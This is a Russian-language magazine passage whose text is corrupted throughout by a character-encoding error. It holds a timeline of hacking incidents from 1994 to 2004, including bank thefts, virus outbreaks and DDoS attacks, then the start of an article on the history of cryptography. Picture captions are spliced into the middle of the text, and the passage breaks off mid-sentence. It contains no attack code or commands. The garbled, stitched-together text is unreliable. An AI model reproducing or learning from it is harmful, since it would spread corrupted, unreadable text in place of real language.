[1994] Õàêåðû îñâàèâàþò èíòåðíåò è ïåðåíîñÿò êîíòåíò ñâîèõ àíäå-
ãðàóíäîâûõ BBS íà ñàéòû.
[1994] Ðóññêèé õàêåð Âëàäèìèð Ëåâèí âçëàìûâàåò êîìïüþòåðíóþ
ñèñòåìó Ñèòèáàíêà è ïåðåâîäèò íà ñâîè ñ÷åòà â Ôèíëÿíäèè è Èçðà-
èëå 10 ìèëëèîíîâ äîëëàðîâ. Ñîòðóäíèêè áàíêà áûñòðî çàìîðàæè-
âàþò ýòè ñ÷åòà, íî ñîîáùíèêàì Ëåâèíà óäàåòñÿ îáíàëè÷èòü 400 òû-
ñÿ÷. Ïîëèöèÿ Ñêîòëàíä-ßðäà àðåñòîâàëà õàêåðà â Ëîíäîíå, êóäà
òîò ïðèåõàë ïîãîñòèòü. Ïðèþòèâ åãî íà ïîëòîðà ãîäà â àíãëèéñêîé
òþðüìå, âëàñòè ïîòîì äîñòàâèëè Âëàäèìèðà â Ñàí-Ôðàíöèêî, ãäå
ñóäèëè ñíîâà è ïðèãîâîðèëè ê òþðåìíîìó çàêëþ÷åíèþ òåïåðü óæå â
àìåðèêàíñêîé òþðüìå.
[25 äåêàáðÿ 1994] Êîìïüþòåðíûé ýêñïåðò Öóòîìó Øèìîìóðà ïîìîãà-
åò ïîëèöèè âûñëåäèòü Êåâèíà Ìèòíèêà, êîòîðûé âçëîìàë åãî êîìïüþòå-
ðû è îñòàâèë èçäåâàòåëüñêîå ñîîáùåíèå. Íà ñóäå ïðîòèâ Ìèòíèêà âû-
äâèãàþò îáâèíåíèå âî âçëîìå ìíîãî÷èñëåííûõ êîìïüþòåðíûõ ñèñòåì,
êðàæå êîììåð÷åñêîãî ÏÎ è 20 òûñÿ÷ íîìåðîâ êðåäèòíûõ êàðò. Íà ýòîò
ðàç õàêåð ïîëó÷àåò 5 ëåò òþðüìû.
[1995] Íà ýêðàíû âûõîäÿò ôèëüìû: «Ñåòü» è «Õàêåðû».
[1995] Ìèíèñòåðñòâî Îáîðîíû ÑØÀ çàÿâëÿåò î çàôèêñèðîâàííûõ 250 [X
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òûñÿ÷àõ õàêåðñêèõ àòàêàõ íà èõ êîìïüþòåðû òîëüêî â òåêóùåì ãîäó.
65% àòàê ýòèõ áûëè óñïåøíûìè.
[1995] Ãðóïïà Phonemasters ïîä ïðåäâîäèòåëüñòâîì áûâøåãî
ìåìáåðà LoD õàêåðà Mark Tabas íàâîäèò õàîñ â òåëåôîííûõ ñå-
òÿõ AT&T, British Telecom, GTE, MCI WorldCom, Sprint, Southwes-
tern Bell è ïðàâèòåëüñòâåííûõ êîìïüþòåðíûõ ñèñòåìàõ. Íà íåñ-
êîëüêî ìåñÿöåâ õàêåðñêàÿ áàíäà ñòàíîâèòñÿ íàñòîÿùåé ÷óìîé
äëÿ òåëåôîííûõ êîìïàíèé. Â êîíöå ãîäà ÔÁÐ óñòàíàâëèâàåò
ïðîñëóøèâàíèå çà ÷ëåíàìè ãðóïïû è àðåñòîâûâàåò ëèäåðà. Mark
Tabas ïîëó÷àåò 5 ëåò òþðüìû.
[18 ìàðòà 1995] Â Ñåòè ïîÿâëÿåòñÿ ïðîãðàììà SATAN (Security Admi-
nistrator Tool for Analyzing Networks), íàïèñàííàÿ èçâåñòíûìè security-
ýêñïåðòàìè Äýíîì Ôàðìåðîì è Âèöåì Âåíåìîé. Óòèëèòà ïîçèöèîíèðó-
åòñÿ êàê èíñòðóìåíò äëÿ àäìèíîâ ïî âûÿâëåíèþ óÿçâèìîñòåé â ñâîåé ñå-
òè, íî ñðàçó æå ïîñòóïàåò íà âîîðóæåíèå õàêåðîâ. Ñïîðû ïî ïîâîäó ëå-
ãàëüíîñòè òàêîãî ðîäà ïðîãðàìì íå óòèõàþò äî ñèõ ïîð.
[5 ìàÿ 1995] Êðèñ Ëàìïðåõò aka Minor Threat ñòàíîâèòñÿ ïåðâûì ÷åëî-
âåêîì, êîòîðîìó îôèöèàëüíî çàïðåòèëè ïîëüçîâàòüñÿ èíòåðíåòîì. Õà-
êåðà ñóäèëè çà ðÿä êîìïüþòåðíûõ ïðåñòóïëåíèé, âêëþ÷àÿ âîðîâñòâî è
ïðîäàæó äàííûõ èç âíóòðåííåé ñåòè êîìïàíèè Bell. Minor Threat òàêæå
èçâåñòåí êàê àâòîð ToneLoc � ïðîãðàììû, ñêàíèðóþùåé òåëåôîííûå
ñåòè â ïîèñêàõ ìîäåìíûõ ñèãíàëîâ.
[12 èþëÿ 1995] Òàòó Þëîíåí  ïðåäñòàâëÿåò security-ñîîáùåñòâó ïðîòî-
êîë SSH (Secure Shell).
[àâãóñò 1995] Microsoft âûïóñêàåò Windows 95, êîòîðàÿ ðàñõîäèòñÿ 1
ìèëëèîíîì êîïèé â òå÷åíèå ïåðâûõ 4 äíåé.
[1996] Õàêåðñêàÿ ãðóïïà Brotherhood âçëàìûâàåò Êàíàäñêóþ ðàäèîâå-
ùàòåëüíóþ êîìïàíèþ.
[1997] Âûõîäèò ïðîãðàììà AOHell, êîòîðàÿ ïîçâîëÿåò ëþáûì, äàæå äà-
ëåêèì îò õàêåðñòâà ëþäÿì, íåñòè õàîñ â ñåòÿõ êðóïíåéøåãî àìåðèêàí-
ñêîãî ïðîâàéäåðà America Online. Â òå÷åíèå íåñêîëüêèõ äíåé ýëåêòðîí-
íûå ÿùèêè òûñÿ÷ AOL-þçåðîâ ïîäâåðæåíû àòàêàì ìíîãîìåãàáàéòíûõ
ìåéë-áîìá, à âíóòðåííèå ÷àò-ñåðâåðû � ôëóäó.
[1997] 15-ëåòíèé õàêåð Croatian âçëàìûâàåò êîìïüþòåðû Âîåííî-âîç-
äóøíîé áàçû ÑØÀ â Ãóàìå.
[1997] Õàêåðàì óäàåòñÿ ïðîáèòü çàùèòó Windows NT.
[28 ÿíâàðü 1997] Êîìïàíèÿ RSA Data Security ïðåäëàãàåò security-ñî-
îáùåñòâó âçëîìàòü ñâîé íîâûé 40-áèòíûé êîä. Èàí Ãîëäáåðã, âûïóñêíèê
Êàëèôîðíèéñêîãî óíèâåðñèòåòà Áåðêëè, èñïîëüçóåò äëÿ ýòîãî êëàñòåð
èç 250 ðàáî÷èõ ñòàíöèé, ïåðåáèðàþùèõ áîëåå 100 ìèëëèàðäîâ êîìáè-
íàöèé â ÷àñ. Åìó ïîíàäîáèëîñü 3.5 ÷àñà, ÷òîáû ðàñøèôðîâàòü ñîîáùå-
íèå: «Èìåííî ïîýòîìó íóæíî èñïîëüçîâàòü áîëåå äëèííûé êëþ÷».
[1997] Íîâàÿ õàêïàòè Dreamhack ïðîâîäèòñÿ â Øâåöèè è ñðàçó çàâîå-
âûâàåò îãðîìíóþ ïîïóëÿðíîñòü.
[ñåíòÿáðü 1997] Ðîæäåíèå Slashdot � öåíòðàëüíîãî ðåñóðñà äëÿ âñåõ,
êòî èíòåðåñóåòñÿ íîâûìè òåõíîëîãèÿìè.
[1998] Íà ñàéòå Yahoo.com ïîÿâëÿåòñÿ ñîîáùåíèå î âîçìîæíîì ïîëó-
÷åíèè ëîãè÷åñêîé áîìáû ïîñëå çàõîäà íà ïîèñêîâèê. Áîìáà ãðîçèëà
âçîðâàòüñÿ, åñëè âëàñòè íå âûïóñòÿò Êåâèíà Ìèòíèêà ê óêàçàííîìó ñðî-
êó íà ñâîáîäó, íî óãðîçû îêàçàëèñü áëåôîì.
[ôåâðàëü 1998] Ñåòåâîé Ñîôòâàðíûé Êîíñîðöèóì (ISC) ïðåäëàãàåò
äëÿ ïîâûøåíèÿ áåçîïàñíîñòè DNS-ñåðâåðîâ èñïîëüçîâàòü DNSSEC.
[1998] Â êà÷åñòâå ïðîòåñòà ïî ïîâîäó çàêëþ÷åíèÿ Ìèòíèêà, âçëîìàí
îôèöèàëüíûé ñàéò ãàçåòû The New York Times. Õàêåðû, íàçûâàþùèå ñå-
áÿ HFG (Hacking for girls), îáåùàþò íå îñòàíàâëèâàòüñÿ íà ýòîì.
[1998] Äâîå êèòàéñêèõ õàêåðîâ ïðèãîâîðåíû ê ðàññòðåëó çà âçëîì áàí-
êîâñêèõ êîìïüþòåðîâ è êðàæó 31 òûñÿ÷è äîëëàðîâ.
[1998] Èçðàèëüñêèé òèíåéäæåð èçâåñòíûé ïîä ïñåâäîíèìîì The Ana-
lyzer ïðîíèêàåò âî âíóòðåííþþ ñåòü Ïåíòàãîíà. Ïîëèöèè óäàëîñü áû-
ñòðî íàéòè åãî è àðåñòîâàòü.
[1998] Õàêåðñêàÿ ãðóïïà L0pht ïðèãëàøåíà â Ñåíàò äëÿ êîíñóëüòàöèé
ïî âîïðîñàì êîìïüþòåðíîé áåçîïàñíîñòè. Õàêåðû óáåäèëè ïðàâèòåëü-
ñòâî, ÷òî èì äîñòàòî÷íî 30 ìèíóò,
÷òîáû ïðåðâàòü äîñòóï ïîëüçîâà-
òåëåé ê ñåòè ïî âñåé Àìåðèêå.
[íîÿáðü 1999] 15-ëåòíèé íîðâåæ-
ñêèé õàêåð Éîí Éîõàíñåí aka DVD
Jon âìåñòå ñ äâóìÿ ïðèÿòåëÿìè èç
ãðóïïû MoRE (Masters of Reverse
Engineering) âûïóñêàþò ïðîãðàììó
DeCSS, ñíèìàþùóþ çàùèòó CSS
(Content Scrambling System), êîòî-
ðàÿ ÿâëÿåòñÿ ñòàíäàðòîì äëÿ ëè-
öåíçèîííûõ DVD.
[1999] Ïðåçèäåíò ÑØÀ Áèëë
Êëèíòîí âûñòóïàåò ñ çàÿâëåíèåì î
ñâîåì íàìåðåíèè âûäåëèòü íà ïî-

âûøåíèè áåçîïàñíîñòè ïðàâèòåëüñòâåííûõ êîìïüþòåðíûõ ñèñòåì 1.4
ìèëëèàðäà äîëëàðîâ.
[1999] Íåèçâåñòíûå õàêåðû çàõâàòûâàþò óïðàâëåíèå áðèòàíñêèì âîåí-
íûì ñïóòíèêîì ñâÿçè è òðåáóþò äåíüãè çà âîçâðàùåíèå êîíòðîëÿ íàä íèì.
[äåêàáðü 1999] 29-ëåòíèé ïðîãðàììèñò èç Íüþ Äæåðñè Äýâèä Ñìèò
ïðèçíàí âèíîâíûì çà ñîçäàíèå è ðàñïðîñòðàíåíèå âèðóñà Melissa, êî-
òîðûé â ìàðòå ïîðàçèë áîëåå 100 òûñÿ÷ êîìïüþòåðîâ è ïðè÷èíèë îá-
ùåãî óùåðáà íà 80 ìèëëèîíîâ äîëëàðîâ. Ñìèò ñòàë ïåðâûì ÷åëîâåêîì
â èñòîðèè, îñóæäåííûì çà íàïèñàíèå êîìïüþòåðíûõ âèðóñîâ. Îí ïîëó-
÷èë 20 ìåñÿöåâ òþðüìû.
[ôåâðàëü 2000] Êàíàäñêèé õàêåð MafiaBoy îñóùåñòâëÿåò ìàñøòàáíóþ
DDoS-àòàêó, êîòîðàÿ ïðèâîäèò ê ïðåêðàùåíèþ ðàáîòû íåñêîëüêèõ íàè-
áîëåå ïîïóëÿðíûõ ðåñóðñîâ ñåòè. Ñðåäè æåðòâ îêàçàëèñü êðóïíåéøèé
îíëàéí-ìàãàçèí Amazon, íîâîñòíîé ïîðòàë CNN è ïîèñêîâîé ñåðâåð
Yahoo! 16-ëåòíåãî õàêåðà ïðèãîâîðèëè ê 8 ìåñÿöàì îòáûâàíèÿ â äåò-
ñêîì èñïðàâèòåëüíîì öåíòðå.
[2000] Â çíàê ïðîòåñòà ïðîòèâ àãðåññèè â Êàøèìèðå è Ïàëèñòèíå, ïà-
êèñòàíñêèå àêòèâèñòû ïðîâîäÿò äåôåéñû ñàéòîâ, ïðèíàäëåæàùèõ ïðà-
âèòåëüñòâó Èíäèè è Èçðàèëÿ.
[2000] Õàêåðû ïðîíèêàþò âî âíóòðåííþþ ñåòü Microsoft è ïîëó÷àþò äî-
ñòóï ê èñõîäíèêàì ïîñëåäíåé âåðñèè Windows. Ïîñëå òîãî, êàê êîä áûë
îïóáëèêîâàí â Ñåòè, â àìåðèêàíñêèõ ãàçåòàõ ïîÿâèëèñü çàãîëîâêè:
«Ðóññêàÿ ìàôèÿ âîðóåò êîä WinME».
[èþíü 2000] Ñòàðòóåò ïðîåêò Honeynet èçâåñòíîãî security-ýêñïåðòà
Ëýíñà Ñïèòçíåðà, öåëüþ êîòîðîãî ÿâëÿåòñÿ ïîâûøåíèå áåçîïàñíîñòè
èíòåðíåòà â öåëîì.
[ìàé 2000] Âèðóñ, ïîä íàçâàíèåì LoveLetter (çà ñîäåðæàíèå â òîïèêå
ñòðî÷êè: «I Love You»), çà íåñêîëüêî ÷àñîâ ðàñïðîñòðàíÿåòñÿ ïî âñåìó
èíòåðíåòó, íåñÿ õàîñ è ìíîãîìèëëèîííûå ïîòåðè. 
[èþëü 2000] Èíñòèòóò SANS âïåðâûå âûïóñêàåò ñïèñîê 10 ãëàâíûõ
óÿçâèìîñòåé, èñïîëüçóåìûõ õàêåðàìè äëÿ âçëîìà ñèñòåì. Ñïèñîê îêà-
çûâàåòñÿ âîñòðåáîâàííûì è íà÷èíàåò âûõîäèòü ðåãóëÿðíî.
[2001] Êîðïîðàöèÿ Microsoft ñòàíîâèòñÿ æåðòâîé íîâîãî âèäà DoS-àòàê,
íàïðàâëåííûõ íà DNS. Â òå÷åíèå äâóõ äíåé ãëàâíûé ñàéò êîìïàíèè ñòà-
íîâèòñÿ íåäîñòóïíûì äëÿ ìèëëèîíîâ þçåðîâ.
[ôåâðàëü 2001] Â Ñåòè ïîÿâëÿåòñÿ âèðóñ Anna Kournikova, ÿêîáû ñî-
äåðæàùèé â àòòà÷å êàðòèíêè èçâåñòíîé ñïîðòñìåíêè.
[èþëü 2001] ÔÁÐ àðåñòîâûâàåò ðóññêîãî ïðîãðàììèñòà Äìèòðèÿ Ñêëÿ-
ðîâà, ïðèåõàâøåãî íà êîíôåðåíöèþ Defcon ïðî÷èòàòü ëåêöèþ î ñòåïåíè
çàùèùåííîñòè è âîçìîæíîñòè âçëîìà Ebook � ýëåêòðîííîãî àíàëîãà ïå-
÷àòíûõ êíèã. Àðåñò âûçâàë áóðþ âîçìóùåíèÿ â ìèðîâîì êîìïüþòåðíîì ñî-
îáùåñòâå. Ïðèçûâû ïîääåðæàòü Äìèòðèÿ è áàéêîòèðîâàòü ïðîäóêöèþ
Adobe, âûñòóïèâøåé îáâèíèòåëåì, ïóáëèêîâàëèñü íà ìíîãèõ ñàéòàõ. Ñêëÿ-
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Ðè÷àðä Ñòîëìàí

Éîí Éîõàíñåí aka DVD Jon

Àííà Êóðíèêîâà, â ÷üþ ÷åñòü
áûë íàçâàí âèðóñÁèëë Äæîé

Ñèìâîë Linux



ðîâ ñòàë ïåðâûì ÷åëîâåêîì, ÷üå äåëî ðàññìàòðèâàëîñü â ðàìêàõ çàêîíà
DMCA (Digital Millennium Copyright Act). 13 äåêàáðÿ 2001 ã. ñóä ñíÿë ñ íåãî
âñå îáâèíåíèÿ.
[àâãóñò 2001] Ïåðâûé ïîëèìîðôíûé âèðóñ Code Red çàðàæàåò äåñÿòêè
òûñÿ÷ êîìïüþòåðîâ â Ñåòè.
[2001] Ïîÿâëÿåòñÿ íîâûé âèä DDoS-àòàê, â êîòîðîì èñïîëüçóþòñÿ êîì-
ïüþòåðû-çîìáè äëÿ ãåíåðàöèè ñëó÷àéíûõ ïèíãîâ.
[äåêàáðü 2001] Â ðåçóëüòàòå òùàòåëüíî ñïëàíèðîâàííûõ ÔÁÐ àíòèõà-
êåðñêèõ ðåéäîâ, íà ñêàìüþ ïîäñóäèìûõ ïîïàäàþò êëþ÷åâûå ìåìáåðû
âåäóùèõ êðàêåðñêèõ è âàðåçíûõ ãðóïï: Drink or Die, Razor 911, EViANCE,
RogueWarriorz, TFL, WLW, RiSC. Íî àðåñò è òþðåìíîå çàêëþ÷åíèå êðóï-
íûõ ôèãóð ïðàêòè÷åñêè íèêàê íå îòðàçèëèñü íà àêòèâíîñòè êðàêåðîâ.
[àïðåëü 2002] Âîåííûå ñòðóêòóðû ÑØÀ çàïóñêàþò ïðîåêò Mannheim,
öåëüþ êîòîðîãî ÿâëÿåòñÿ ïîâûñèòü áåçîïàñíîñòü âîåííûõ êîìïüþòåð-
íûõ ñèñòåì.
[2002] ÔÁÐ àðåñòîâûâàåò õàêåðà, âçëîìàâøåãî 92 êîìïüþòåðíûå
ñåòè Ìèíèñòåðñòâà Îáîðîíû ÑØÀ è íåñêîëüêî ÷àñòíûõ ñåòåé. Ãýðè
Ìàêêèíîíà aka SOLO îáâèíèëè ïî 8 ñòàòüÿì î êîìïüþòåðíûõ ïðåñòó-
ïëåíèÿõ è íàíåñåíèè óùåðáà â 900 òûñÿ÷ äîëëàðîâ. Ïðåññà íàçâàëà
Ìàêêèíîíà õàêåðîì âñåõ âðåìåí.
[2002] Íåèçâåñòíûå õàêåðû îðãàíèçóþò DoS-àòàêó, íàïðàâëåííóþ íà 13
root-ñåðâåðîâ, ÿâëÿþùèõñÿ öåíòðàëüíûìè óçëàìè Èíòåðíåòà, êîîðäèíè-
ðóþùèìè òðàôèê. Áëàãîäàðÿ ãèáêîé ñòðóêòóðå ñåòè ïîëüçîâàòåëè âî
âñåì ìèðå íå îùóòèëè ñíèæåíèÿ ñêîðîñòè ñîåäèíåíèÿ, íî ñàì ôàêò âû-
çâàë äèñêóññèè íà security-ôîðóìàõ î òåîðåòè÷åñêîé âîçìîæíîñòè âû-
çâàòü ñáîé âñåé ñåòè.
[2003] Íà÷àëî ìàñøòàáíîé ñïàìåðñêîé ýïèäåìèè îò Öåíòðà Àìåðèêàí-
ñêîãî àíãëèéñêîãî â ðóíåòå. Ïðåäëîæåíèå ïîäó÷èòü àíãëèéñêèé ïîëó÷à-
åò ïðàêòè÷åñêèé êàæäûé ðóññêèé ïîëüçîâàòåëü ñåòè. Âïîñëåäñòâèè ãëà-
âó Öåíòðà íàõîäÿò óáèòûì â ñâîåé êâàðòèðå.
[2003] Âèðóñû SoBig, Slammer è MSBlast ïîðîæäàþò íåâèäàííûå ðàíåå
ýïèäåìèè. Slammer ñòàë ðåêîðäñìåíîì ïî ñêîðîñòè ðàñïðîñòðàíåíèÿ, çàðà-
çèâ ñîòíè òûñÿ÷ ìàøèí âñåãî çà ïàðó ÷àñîâ. Ïîñëåäñòâèÿ êîñíóëèñü íå òîëü-
êî ÷àñòíûõ ôèðì, íî äàæå àýðîïîðòîâ, êîòîðûì ïðèøëîñü îòëîæèòü ðåéñû.
[2003] Íåèçâåñòíûå õàêåðû âûêðàëè èç êîìïüþòåðîâ èãðîâîãî ðàçðà-
áîò÷èêà Valve, èñõîäíûé êîä îäíîé èç ñàìûõ îæèäàåìûõ
èãð Half Life 2, è îïóáëèêîâàëè åãî â Ñåòè.
[2004] Àìåðèêàíñêèé 26-ëåòíèé ñòóäåíò Äæàòàí Äåçèð ñòà-
íîâèòñÿ ïåðâûì ÷åëîâåêîì, êîòîðîãî ïðèâëåêëè ê óãîëîâ-
íîé îòâåòñòâåííîñòè â ðàìêàõ ïðîãðàììû Fastlink. Ïðîãðàì-
ìà áûëà ââåäåíà ïðàâèòåëüñòâîì ÑØÀ äëÿ ïîèñêà è àðåñòà
ïèðàòîâ, íåëåãàëüíî ðàñïðîñòðàíÿþùèõ ÏÎ.
[2004] Êîëè÷åñòâî èçâåñòíûõ êîìïüþòåðíûõ âèðóñîâ ïåðå-
âàëèëî çà 100 òûñÿ÷.
[22 îêòÿáðÿ 2004] Âûíåñåí ïðèãîâîð ïî äåëó èçâåñòíîãî
ðóññêîãî âèðóñìåéêåðà Whale. Àâòîðà âèðóñîâ Stepar è Ga-
stropod, ìåìáåðà èçâåñòíîé 29A, ïðèãîâîðèëè ê ñìåøíîìó
øòðàôó â 3000 ðóáëåé. Ñòîëü ìÿãêîå íàêàçàíèå îáúÿñíÿåò-
ñÿ îòñóòñòâèåì çàÿâëåíèé îò ïîñòðàäàâøèõ.
[2004] Ñîñòîÿëñÿ ñàìûé ïåðâûé â Àìåðèêå ñóä íàä ñïà-
ìåðàìè. Äæåðåìè Äæåéíñ è Äæåññèêà Äåãðóò, áðàò è ñå-
ñòðà, ðàññûëàëè ïîëüçîâàòåëÿì AOL ìèëëèîíû ðåêëà-
ìíûõ ñîîáùåíèé, ïðåäëàãàÿ êóïèòü ïðîãðàììû äëÿ áû-
ñòðîãî çàðàáîòêà â Èíòåðíåòå. Äæåéíñà ïîñàäèëè â òþðü-
ìó, â òî âðåìÿ êàê åãî ñåñòðà îòäåëàëàñü øòðàôîì â íåñ-
êîëüêî òûñÿ÷ äîëëàðîâ.

[2004] Ïîÿâëåíèå ïåðâîãî ÷åðâÿ,
ðàñïðîñòðàíÿþùåãîñÿ ÷åðåç ïðî-
òîêîë Bluetooth è çàðàæàþùåãî ìî-
áèëüíûå òåëåôîíû, ðàáîòàþùèå
ïîä óïðàâëåíèåì Symbian OS. Ca-
bir, êàê íàçâàë åãî àâòîð, íå íàíåñ
çëîâðåäíûõ ôóíêöèé, íî èç-çà åãî
ïîñòîÿííûõ ïîïûòîê ñêàíèðîâàòü
àêòèâíûå áëóòóñ-óñòðîéñòâà, íåêî-
òîðûå òåëåôîíû ïîñëå çàðàæåíèÿ
ðàáîòàëè íåñòàáèëüíî.
[2004] 21-ëåòíèé Áðàéàí Ñàëüöåäî ïîëó÷àåò ñàìûé áîëüøîé â èñòîðèè
êîìïüþòåðíûõ ïðåñòóïëåíèé ñðîê òþðåìíîãî çàêëþ÷åíèÿ. Ê 9 ãîäàì
ïðèãîâîðèë åãî ñóä çà âçëîì ñåòè êîìïüþòåðíîãî ìàãàçèíà è íàðóøåíèå
åãî ðàáîòû. Õàê ïðîèçâîäèëñÿ èç ìàøèíû, âî âðåìÿ î÷åðåäíîãî ñåàíñà
âàðäðàéâèíãà (ïîèñêà íåçàùèùåííûõ Wi-Fi ñåòåé).
[2004] Ó÷åíûå âåäóùèõ íàó÷íûõ öåíòðîâ ìèðà
ïðèñòóïèëè ê ñîâìåñòíîé ðàçðàáîòêå êîìïüþ-
òåðíîé ñåòè, êîòîðóþ «íåâîçìîæíî âçëîìàòü».
Îñíîâàíà îíà áóäåò íà êâàíòîâîé êðèïòîãðàôèè.
[äåêàáðü 2004] Â Êèòàå ïðîèçîøåë çàïóñê
èíòåðíåòà íîâîãî ïîêîëåíèÿ CERNET2 (China
Education and Research Network 2), îáëàäàþùå-
ãî ïðîïóñêíîé ñïîñîáíîñòüþ 2.5-10 Ãá â ñåêóí-
äó è ðàáîòàþùåãî ïî ïðîòîêîëó IPv6. Ïåðâûìè
óçëàìè ñòàëè âåäóùèå èññëåäîâàòåëüñêèå èí-
ñòèòóòû ñòðàíû 

Èàí Ãîëäáåðã

Mark Abene

Êåâèí Ïîóëñåí

Âëàäèìèð Ëåâèí

HalfLife2

Slashdot.com

SSH

ìîáèëüíûé âèðóñ
Cabir
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[ââîäíàÿ] Ïðåæäå ÷åì ÿ íà÷íó òåáå ðàññêàçû-
âàòü îá èñòîðèè êðèïòîàëãîðèòìîâ, î âëèÿòåëü-
íûõ êîìïàíèÿõ è êðóòûõ ïðîãðàììåðàõ, äàì òå-
áå íåñêîëüêî îïðåäåëåíèé, áåç êîòîðûõ äàëü-
íåéøåå ïîâåñòâîâàíèå áóäåò áåññìûñëåííî.
Èòàê, êðèïòîãðàôèÿ � ýòî íàóêà îá èñïîëü-
çîâàíèè ìàòåìàòèêè äëÿ øèôðîâàíèÿ äàí-
íûõ. Ïðîöåññ ïîëó÷åíèÿ çàøèôðîâàííîé èí-
ôîðìàöèè, òî åñòü âçëîì çàùèòû, íàçûâàþò
êðèïòîàíàëèçîì. Õîòÿ êðèïòîàíàëèç è êðèï-
òîãðàôèÿ ïðåñëåäóþò ïðîòèâîïîëîæíûå öå-
ëè, îíè íåðàçäåëèìû, è âìåñòå ñîñòàâëÿþò
åäèíóþ äèñöèïëèíó � êðèïòîëîãèþ. Íåò õî-
ðîøåãî êðèïòîãðàôà, êîòîðûé ïëîõî áû âëà-
äåë êðèïòîàíàëèçîì.
Êðèïòîãðàôèÿ áûâàåò ñëàáîé è ñòîéêîé. Ïåð-
âàÿ íóæíà äëÿ øèôðîâàíèÿ ïîðíîôèëüìîâ îò
áäèòåëüíûõ ìàìèíûõ ãëàç, âòîðàÿ � ÷òîáû
ñîõðàíèòü â ñåêðåòå ãîñóäàðñòâåííóþ òàéíó. È

ÒÛ ÍÈÊÎÃÄÀ ÍÅ ÇÀÄÓÌÛÂÀËÑß, ×ÒÎ ÏÐÅÄ-
ÑÒÀÂËßÅÒ ÑÎÁÎÉ ÍÀÈÁÎËÜØÓÞ ÖÅÍÍÎÑÒÜ
Â ÑÎÂÐÅÌÅÍÍÎÌ ÌÈÐÅ? ÌÎÆÅÒ ÁÛÒÜ, ÄÅ-
ÍÜÃÈ? ÈËÈ ÂËÀÑÒÜ ÍÀÄ ÄÐÓÃÈÌÈ ËÞÄÜÌÈ?
ÍÅÒ, ÄÐÓÃ, ÝÒÎ ÂÑÅ ÍÅ ÒÎ. Â ÄÂÀÄÖÀÒÜ ÏÅÐ-
ÂÎÌ ÂÅÊÅ ÍÅÒ ÍÈ×ÅÃÎ ÂÀÆÍÅÅ ÈÍÔÎÐÌÀ-
ÖÈÈ. ÍÎ, ÊÀÊ È ËÞÁÀß ÄÐÓÃÀß ÖÅÍÍÎÑÒÜ,
ÈÍÔÎÐÌÀÖÈß ÍÓÆÄÀÅÒÑß Â ÇÀÙÈÒÅ. ÄËß
ÝÒÎÃÎ ÁÛËÀ ÑÎÇÄÀÍÀ ÖÅËÀß ÍÀÓÊÀ �
ÊÐÈÏÒÎÃÐÀÔÈß | Èëüÿ Àëåêñàíäðîâ (ilya_al@rambler.ru)
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Êðèïòîãðàôèÿ â÷åðà 
è ñåãîäíÿ

îòíþäü íå ôàêò, ÷òî ñëàáàÿ êðèïòîãðàôèÿ íå èìååò ïðàâà íà æèçíü �
çà÷åì òðàòèòü ëèøíåå âðåìÿ è ðåñóðñû íà èçîáðåòåíèå áîëåå ñòîéêîãî
êðèïòîàëãîðèòìà, åñëè è òåêóùåãî âïîëíå õâàòàåò? Èäåì äàëüøå.
Êðèïòîãðàôè÷åñêèé àëãîðèòì � ýòî ìàòåìàòè÷åñêàÿ ôîðìóëà, ïðîèç-
âîäÿùàÿ ïðîöåññ øèôðîâàíèÿ. Àëãîðèòì âçàèìîäåéñòâóåò ñ êëþ÷îì �
ñëîâîì èëè ÷èñëîì, â çàâèñèìîñòè îò êîòîðîãî ïðîèñõîäèò øèôðîâàíèå
äàííûõ. Àëãîðèòì, êëþ÷, è ïðîòîêîëû (ïðîãðàììû) âìåñòå ñîñòàâëÿþò
êðèïòîñèñòåìó, íàïðèìåð, PGP. Êðèïòîãðàôèÿ äåëèòñÿ íà äâå ðàçíî-
âèäíîñòè: ñèììåòðè÷íàÿ è àñèììåòðè÷íàÿ. Ïðè èñïîëüçîâàíèè ïîñëåä-
íåé, äàííûå çàøèôðîâûâàþòñÿ îáùåäîñòóïíûì îòêðûòûì êëþ÷îì, íî
ïîëó÷èòü ê íèì äîñòóï ìîæíî ëèøü â òîì ñëó÷àå, åñëè èçâåñòåí âòîðîé,
ñåêðåòíûé êëþ÷. Ñèììåòðè÷íàÿ êðèïòîãðàôèÿ èñïîëüçóåò îäèí-åäèí-
ñòâåííûé êëþ÷, íî ýòî âûçûâàåò ïðîáëåìó ñîçäàíèÿ íàäåæíîãî ñåêðåò-
íîãî êàíàëà äëÿ îáìåíà êëþ÷àìè.
Ñòîéêîñòü àëãîðèòìà âî ìíîãîì çàâèñèò îò äëèíû êëþ÷à, êîòîðàÿ èçìåðÿåò-
ñÿ â áèòàõ. ×èñëî, èñïîëüçóåìîå êàê 1024-áèòíûé êëþ÷ äî óæàñà îãðîìíî.
Âñå, ñòóäåíò, êðàòêèé ëèêáåç â ìèð êðèïòîãðàôèè çàâåðøåí. Òîëüêî íå
äóìàé, ÷òî ïîñëå ïðî÷òåíèÿ ýòîãî àáçàöà, òû ñòàë êðóòûì øèôðîâàëü-
ùèêîì � ÷òîáû âñåðüåç çàíÿòüñÿ êðèïòîãðàôèåé, íóæíî èìåòü âûñøåå
ôèçèêî-ìàòåìàòè÷åñêîå îáðàçîâàíèå, íàâûêè ïðîãðàììèñòà è òàëàíò.

[èñòîðèÿ] Èñòîðèÿ êðèïòîãðàôèè íà÷àëàñü çàäîëãî äî èçîáðåòåíèÿ
ÝÂÌ. Åùå Þëèé Öåçàðü, íå äîâåðÿÿ ñâîèì ãîíöàì, øèôðîâàë ñîîá-
ùåíèÿ, èçìåíÿÿ êàæäóþ áóêâó íà èäóùóþ ÷åðåç ñëåäóþùóþ ïî àëôà-
âèòó. Òî åñòü ìåíÿë A íà C, B íà D è òàê äàëåå. Ïðàâäà, ýòî ìîæíî áû-
ëî ñêîðåå íàçâàòü òàéíîïèñüþ, ÷åì êðèïòîãðàôèåé. Èìåííî òàéíî-
ïèñü èñïîëüçîâàëàñü ëþäüìè äëÿ ïåðåäà÷è ñåêðåòíîé èíôîðìàöèè
âïëîòü äî ñåðåäèíû äâàäöàòîãî âåêà. Ýòî  äîíàó÷íûé ïåðèîä, íà îñ-
íîâå ïðàêòè÷åñêèõ ýêñïåðèìåíòîâ, ñêóäíîé òåîðèè è èíòóèòèâíûõ äî-
ãàäîê î ñòîéêîñòè àëãîðèòìîâ. Ïîëíîöåííûì ðàçäåëîì ïðèêëàäíîé
ìàòåìàòèêè êðèïòîãðàôèÿ ñòàëà ëèøü â 1948 ãîäó, êîãäà àìåðèêàí-
ñêèé ó÷åíûé Êëîä Øåííîí ñîçäàë òåîðèþ èíôîðìàöèè è êîäèðîâà-

Èíôîðìàöèÿ
ïîä ççàìêîì

088
